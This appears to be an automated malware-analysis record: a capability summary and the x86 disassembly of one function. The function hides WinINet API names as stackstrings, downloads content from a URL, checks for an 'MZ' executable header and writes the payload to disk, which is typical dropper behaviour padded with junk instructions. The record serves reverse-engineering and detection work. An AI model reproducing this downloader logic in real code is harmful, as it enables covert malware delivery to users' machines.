Function at 0x4126cd
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x47c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x4014ec
push 0x4013b0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 1
mov dword [ebp - 0x64], eax
pop eax
xor ebx, ebx
push 0x401e04
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
call edi
mov edi, eax
nop
nop
nop
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 0x60]
mov byte [ebp - 0x60], 0x49
push eax
push edi
mov byte [ebp - 0x5f], 0x6e
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x65
mov byte [ebp - 0x5c], 0x72
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x65
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x43
mov byte [ebp - 0x57], 0x6c
mov byte [ebp - 0x56], 0x6f
mov byte [ebp - 0x55], 0x73
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x53], 0x48
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6e
mov byte [ebp - 0x50], 0x64
mov byte [ebp - 0x4f], 0x6c
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], bl
call esi
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x24]
push eax
push edi
mov byte [ebp - 0x24], 0x49
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x74
mov byte [ebp - 0x1c], 0x4f
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x6e
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], bl
call esi
mov dword [ebp - 0x78], eax
mov byte [ebp - 0x4c], 0x49
mov byte [ebp - 0x4b], 0x6e
mov byte [ebp - 0x4a], 0x74
mov byte [ebp - 0x49], 0x65
mov byte [ebp - 0x48], 0x72
mov byte [ebp - 0x47], 0x6e
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x74
mov byte [ebp - 0x44], 0x52
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x46
mov byte [ebp - 0x3f], 0x69
mov byte [ebp - 0x3e], 0x6c
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x3d], 0x65
push eax
push edi
mov byte [ebp - 0x3c], bl
call esi
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x38]
push eax
push edi
mov byte [ebp - 0x38], 0x49
mov byte [ebp - 0x37], 0x6e
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x4f
mov byte [ebp - 0x2f], 0x70
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0x55
mov byte [ebp - 0x2b], 0x72
mov byte [ebp - 0x2a], 0x6c
mov byte [ebp - 0x29], 0x41
mov byte [ebp - 0x28], bl
call esi
mov dword [ebp - 0x74], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
push 0x401e7c
call dword [ebp - 0x64]
push 0x401e74
mov edi, eax
call dword [ebp - 0x64]
lea eax, [edi + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
mov dword [esp], 0x401e74
push edi
call sub.MSVCRT.dll_strcpy
push 0x401e7c
push edi
call sub.MSVCRT.dll_strcat
add esp, 0x10
push ebx
push ebx
push ebx
push ebx
push edi
call dword [ebp - 0x78]
mov edi, eax
cmp edi, ebx
je 0x4128c9
mov eax, 1
mov eax, 0xffffffff
nop
nop
push ebx
push bind
push ebx
push ebx
push dword [ebp + 8]
push edi
call dword [ebp - 0x74]
cmp eax, ebx
mov dword [ebp - 0x64], eax
jne 0x4128d0
xor al, al
jmp 0x4129ba
lea eax, [ebp - 0x14]
mov byte [ebp - 0x14], 0x43
push eax
push 0x4013b0
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x61
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x46
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call eax
mov dword [ebp + 8], eax
mov eax, 1
mov eax, 0xffffffff
nop
nop
cmp dword [ebp + 8], 0xffffffff
je 0x4129a8
mov esi, 0x400
push esi
lea eax, [ebp - 0x47c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x47c]
push esi
push eax
push dword [ebp - 0x64]
call dword [ebp - 0x7c]
cmp dword [ebp - 0x6c], ebx
je 0x41296e
cmp word [ebp - 0x47c], 0x5a4d
jne 0x41299c
mov dword [ebp - 0x6c], ebx
mov eax, 1
mov eax, 0xffffffff
nop
nop
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x47c]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], ebx
jbe 0x41299f
jmp 0x41293b
mov dword [ebp - 0x68], ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x64]
call dword [ebp - 0x70]
push edi
call dword [ebp - 0x70]
xor eax, eax
cmp dword [ebp - 0x68], ebx
setne al
pop edi
pop esi
pop ebx
leave
ret